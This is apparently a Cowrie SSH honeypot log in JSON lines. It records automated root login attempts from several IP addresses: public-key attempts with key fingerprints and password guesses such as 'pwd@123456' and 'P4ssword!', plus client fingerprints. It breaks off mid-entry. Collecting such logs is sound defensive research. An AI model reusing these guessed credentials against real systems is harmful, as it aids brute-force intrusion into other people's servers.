{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:cc:3f:81:4d:fe:b4:b0:bb:f5:7b:bc:dd:7d:72:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu8TsJ8CMWPWs29APBM2xsUlpaCHUwZCCxnoQdsCYYY/nA2pDVV9kEExOSO3x60NMvq5O93TMqMPfmGw89fKC6Fo5kKgwZN1yFK47z8t46h5g8RjVApt1ErZPmZBQI02liEt+WvrYg/oVQA/T+Zcy1mI/H8GzPY0TjBFelQIr0EaKGC/8ZLCio+8GMwXZdAjRrcoQ/LAGaAtqz2uE+GApTQ09Ih2MmFa6tCl+zq2kOCl0FL2Fgzvy8KBRRejoLKohGBV/XjZsSMq9nceOBL9efuDCMzwe+Nrv+8n2qEfZtKm8MemqN+lv7AvRJKW7ZQ3ZwDGD6+CugS98lkGS01rw7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:01.832034Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:4d:a4:8e:43:9d:23:84:45:a7:f5:91:5b:25:11:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxa+RqKsMFJqdwgFr/85UltC0LGCeXy7FIlvuaXnwWic1+03K+5j1LfmBbpJ8iY45KaWg1sAdb/rhU+TBBtZUmEVKVpjUNiexhJSxieVcDI97G2EgOPZ2PL4wNfeBfOGMIusM7o4Gz30cNh3p1VdXrAAdQN+GqaLW5R6JvCHsRNEyW57LI0FU8qZvyfTkV9EM4lrI/Q5VXV5FbXIkomc7rho4O/JJiQxkRTOXmgledUwPyz59wBJirDgB0fqYWjQySpoE0NL2J9zOp9aKnRmd6bIm+Pz2IJGFLwyZoGB3GJgSHn78prQ/cxZJvLcXsA4bmXTYyd4qofH1iq18y8LtUwBpOsPnFvtqEeFovua7a5fCreBbBgCpMUNtUP//GRXkLaXMGmId9ROyO5pHRwknAplbUvw7IILiOiMdcMEe2anGi04WrgC+3xlLD2jkB9XYrEI33EfLUqoDwA7Bsm3RK0NUloS86lLM84b+YGM68+JH7QdfaOyO2OqgqMhO9XOGC8/V4IPDTBah4Enu+asSpAEiOsKoe5iQjZpJb00AzCus9eAVARxz6YkmlKj77pz30BBJB9tqBOFB3Kev+w/icBNDPWd6nl89Rwc6YdpvuR5OLZNtlZgn5oes7NWD+uFFOqNZFCYfCkSVqciPqpmzDG/o5YBW1byi8f1nnGa4owQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:4d:a4:8e:43:9d:23:84:45:a7:f5:91:5b:25:11:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:01.918602Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:4d:a4:8e:43:9d:23:84:45:a7:f5:91:5b:25:11:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxa+RqKsMFJqdwgFr/85UltC0LGCeXy7FIlvuaXnwWic1+03K+5j1LfmBbpJ8iY45KaWg1sAdb/rhU+TBBtZUmEVKVpjUNiexhJSxieVcDI97G2EgOPZ2PL4wNfeBfOGMIusM7o4Gz30cNh3p1VdXrAAdQN+GqaLW5R6JvCHsRNEyW57LI0FU8qZvyfTkV9EM4lrI/Q5VXV5FbXIkomc7rho4O/JJiQxkRTOXmgledUwPyz59wBJirDgB0fqYWjQySpoE0NL2J9zOp9aKnRmd6bIm+Pz2IJGFLwyZoGB3GJgSHn78prQ/cxZJvLcXsA4bmXTYyd4qofH1iq18y8LtUwBpOsPnFvtqEeFovua7a5fCreBbBgCpMUNtUP//GRXkLaXMGmId9ROyO5pHRwknAplbUvw7IILiOiMdcMEe2anGi04WrgC+3xlLD2jkB9XYrEI33EfLUqoDwA7Bsm3RK0NUloS86lLM84b+YGM68+JH7QdfaOyO2OqgqMhO9XOGC8/V4IPDTBah4Enu+asSpAEiOsKoe5iQjZpJb00AzCus9eAVARxz6YkmlKj77pz30BBJB9tqBOFB3Kev+w/icBNDPWd6nl89Rwc6YdpvuR5OLZNtlZgn5oes7NWD+uFFOqNZFCYfCkSVqciPqpmzDG/o5YBW1byi8f1nnGa4owQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:01.922340Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ee:38:07:c5:21:0f:58:48:87:b1:71:fc:b5:32:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMWQgnGImcXkmQSdyv4U4LVRIXXBO5mffFQk5NUskpcr65pfOnpsjs7AMEqbeRJq3H2Y27TJogxCyzRnVivt9Y6BNJiAiVuy974OZXRmNmCjTB+X8Q9mR3YwrYV+YX6Q+taugu037F9tJO9/NSaPBjVwbPToECbwogXsUl0FWucs2N3yL6QQYPPGUItzUy+mN5aqE2EgXDWZpjAE9emMYhrYGof8vDE6ujVKSGvW+BDvvW8vWhMMCftIdAy+Jz22nHEb5KIiFsyFMMqDRyOjrnybHt6S+MyScJosatYMDBOnkepRLUhyfAN3jS6oCcvNCXYbPDZ/NcJSmJRvd0XNCGpz/LI9J9cUG1114XffLfCNlfsPhhdPtvyf+bOIbKRl+p0LBIleA3bWVfhqYriWqW9KUMFJgEvSNJeJVZNJrW5xUl5jGZLS3QMJ/JkYkrGxBjUsuGbq7mYELzZro2OXv3yDteySLsKqt96Mjhms7bhdWTEJR5Qg1OPCIPrD9dwQXKSXpOpyUJADJCrdfJuEklJbhTsJt9F3wAMqfgzXHcFa8cmVjZKa9nPuoW4ePgXHQ7a1/nv2KVijGEboThe1ME1n56DHIrhx/Q3gIMJDjn7cLDWy+oyQ20eqFO/WLoleoMuBJU/8WpDFWEgUkZI2X9fo0kf1kAcm3o6Z6reaAHPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:ee:38:07:c5:21:0f:58:48:87:b1:71:fc:b5:32:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:02.008877Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ee:38:07:c5:21:0f:58:48:87:b1:71:fc:b5:32:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMWQgnGImcXkmQSdyv4U4LVRIXXBO5mffFQk5NUskpcr65pfOnpsjs7AMEqbeRJq3H2Y27TJogxCyzRnVivt9Y6BNJiAiVuy974OZXRmNmCjTB+X8Q9mR3YwrYV+YX6Q+taugu037F9tJO9/NSaPBjVwbPToECbwogXsUl0FWucs2N3yL6QQYPPGUItzUy+mN5aqE2EgXDWZpjAE9emMYhrYGof8vDE6ujVKSGvW+BDvvW8vWhMMCftIdAy+Jz22nHEb5KIiFsyFMMqDRyOjrnybHt6S+MyScJosatYMDBOnkepRLUhyfAN3jS6oCcvNCXYbPDZ/NcJSmJRvd0XNCGpz/LI9J9cUG1114XffLfCNlfsPhhdPtvyf+bOIbKRl+p0LBIleA3bWVfhqYriWqW9KUMFJgEvSNJeJVZNJrW5xUl5jGZLS3QMJ/JkYkrGxBjUsuGbq7mYELzZro2OXv3yDteySLsKqt96Mjhms7bhdWTEJR5Qg1OPCIPrD9dwQXKSXpOpyUJADJCrdfJuEklJbhTsJt9F3wAMqfgzXHcFa8cmVjZKa9nPuoW4ePgXHQ7a1/nv2KVijGEboThe1ME1n56DHIrhx/Q3gIMJDjn7cLDWy+oyQ20eqFO/WLoleoMuBJU/8WpDFWEgUkZI2X9fo0kf1kAcm3o6Z6reaAHPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:02.013037Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:de:cd:70:17:fe:61:0b:30:2e:3d:a7:96:10:6a:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7QUlLRtUvFRPjrotD/6VEfsw1ilGAA5h4KovjrDnanIGM8yaxDb1APqGm9sVVwx+9tuT3OH0A3kj2zFkWkHFhKAvZOO99ZzCKY0UXy+n/xOjkiVgIld5XIwyxaXJcpAoSAdhVe32fadY5nS4J3dS4wW36FmH0AZDZgblOK3Bxtgm1fBvmSgIZRrwSSJlm/We4xTCIkHSIQhT3pjcYtL0YZnaiRmlWVVkLOwAZpaa4+qvQvYbSyMWdGOhkPHQ1xRnSRgHMH80zyGIOVtdC6BV36Wbv1dVQmBLGu5acUZm9Rwsv0565IwtnkqpUA+CMvVQKemKoK0V781N+VknLqMu3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:de:cd:70:17:fe:61:0b:30:2e:3d:a7:96:10:6a:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:02.104059Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:de:cd:70:17:fe:61:0b:30:2e:3d:a7:96:10:6a:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7QUlLRtUvFRPjrotD/6VEfsw1ilGAA5h4KovjrDnanIGM8yaxDb1APqGm9sVVwx+9tuT3OH0A3kj2zFkWkHFhKAvZOO99ZzCKY0UXy+n/xOjkiVgIld5XIwyxaXJcpAoSAdhVe32fadY5nS4J3dS4wW36FmH0AZDZgblOK3Bxtgm1fBvmSgIZRrwSSJlm/We4xTCIkHSIQhT3pjcYtL0YZnaiRmlWVVkLOwAZpaa4+qvQvYbSyMWdGOhkPHQ1xRnSRgHMH80zyGIOVtdC6BV36Wbv1dVQmBLGu5acUZm9Rwsv0565IwtnkqpUA+CMvVQKemKoK0V781N+VknLqMu3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:02.108573Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:49:77:8d:67:99:1b:1a:76:37:a3:15:22:89:5b:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDouK35F0weFOHszdxjsqBZlvfD+9wIeYVpKtbvrJJ/bOa51ZCz/JurHKloiH5KEkSbsutsB4WEFdw1TIZh4l/zg4AarSRjx4md8jq+wLYjzzBvuyv5bOoDUe7jEX2IBTgdO/48m5Yd7edD8i9H+8uNTM8g1WX+XNlD6wrkJFFPndVw+QFx/UBK9h/Qg6dSSp48/ByEuK9kCo796q+Cn8fsoE8hUECzyNK8QxiOn4YNxtakowdZRvL6WGZJkBedag45eXpPFpdcsnjvgsBjBJP9MP535FtvqrXGoJVkcv8wOVnQn+qzG/+ELVe9kJFtxlDKUMUPSkrZrtYKfSBdUubN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:49:77:8d:67:99:1b:1a:76:37:a3:15:22:89:5b:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:02.202379Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:49:77:8d:67:99:1b:1a:76:37:a3:15:22:89:5b:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDouK35F0weFOHszdxjsqBZlvfD+9wIeYVpKtbvrJJ/bOa51ZCz/JurHKloiH5KEkSbsutsB4WEFdw1TIZh4l/zg4AarSRjx4md8jq+wLYjzzBvuyv5bOoDUe7jEX2IBTgdO/48m5Yd7edD8i9H+8uNTM8g1WX+XNlD6wrkJFFPndVw+QFx/UBK9h/Qg6dSSp48/ByEuK9kCo796q+Cn8fsoE8hUECzyNK8QxiOn4YNxtakowdZRvL6WGZJkBedag45eXpPFpdcsnjvgsBjBJP9MP535FtvqrXGoJVkcv8wOVnQn+qzG/+ELVe9kJFtxlDKUMUPSkrZrtYKfSBdUubN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:02.207286Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:02.294516Z","src_ip":"51.159.104.219","session":"415ca2e374a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":40166,"dst_ip":"159.203.135.109","dst_port":22,"session":"543b1dc26385","protocol":"ssh","message":"New connection: 46.165.56.242:40166 (159.203.135.109:22) [session: 543b1dc26385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:46.035605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:46.039998Z","src_ip":"46.165.56.242","session":"543b1dc26385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:46.197654Z","src_ip":"46.165.56.242","session":"543b1dc26385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"es123456","message":"login attempt [root/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:46.850851Z","src_ip":"46.165.56.242","session":"543b1dc26385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:33:48.003861Z","src_ip":"46.165.56.242","session":"543b1dc26385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":55350,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e707982f68b","protocol":"ssh","message":"New connection: 138.99.80.102:55350 (159.203.135.109:22) [session: 2e707982f68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:16.628099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:16.632258Z","src_ip":"138.99.80.102","session":"2e707982f68b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:16.738340Z","src_ip":"138.99.80.102","session":"2e707982f68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwd@123456","message":"login attempt [root/pwd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:17.196747Z","src_ip":"138.99.80.102","session":"2e707982f68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:18.306427Z","src_ip":"138.99.80.102","session":"2e707982f68b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":45270,"dst_ip":"159.203.135.109","dst_port":22,"session":"6652596e222f","protocol":"ssh","message":"New connection: 36.95.194.51:45270 (159.203.135.109:22) [session: 6652596e222f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:28.523738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:28.527869Z","src_ip":"36.95.194.51","session":"6652596e222f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:28.802285Z","src_ip":"36.95.194.51","session":"6652596e222f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword!","message":"login attempt [root/P4ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:29.932515Z","src_ip":"36.95.194.51","session":"6652596e222f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:31.210123Z","src_ip":"36.95.194.51","session":"6652596e222f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":35042,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a9e939fb148","protocol":"ssh","message":"New connection: 200.108.174.4:35042 (159.203.135.109:22) [session: 4a9e939fb148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:47.331275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:47.334448Z","src_ip":"200.108.174.4","session":"4a9e939fb148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:47.478763Z","src_ip":"200.108.174.4","session":"4a9e939fb148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:48.091297Z","src_ip":"200.108.174.4","session":"4a9e939fb148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:49.240080Z","src_ip":"200.108.174.4","session":"4a9e939fb148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":45726,"dst_ip":"159.203.135.109","dst_port":22,"session":"25bdb7cbbeac","protocol":"ssh","message":"New connection: 46.165.56.242:45726 (159.203.135.109:22) [session: 25bdb7cbbeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:56.578738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:34:56.583961Z","src_ip":"46.165.56.242","session":"25bdb7cbbeac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 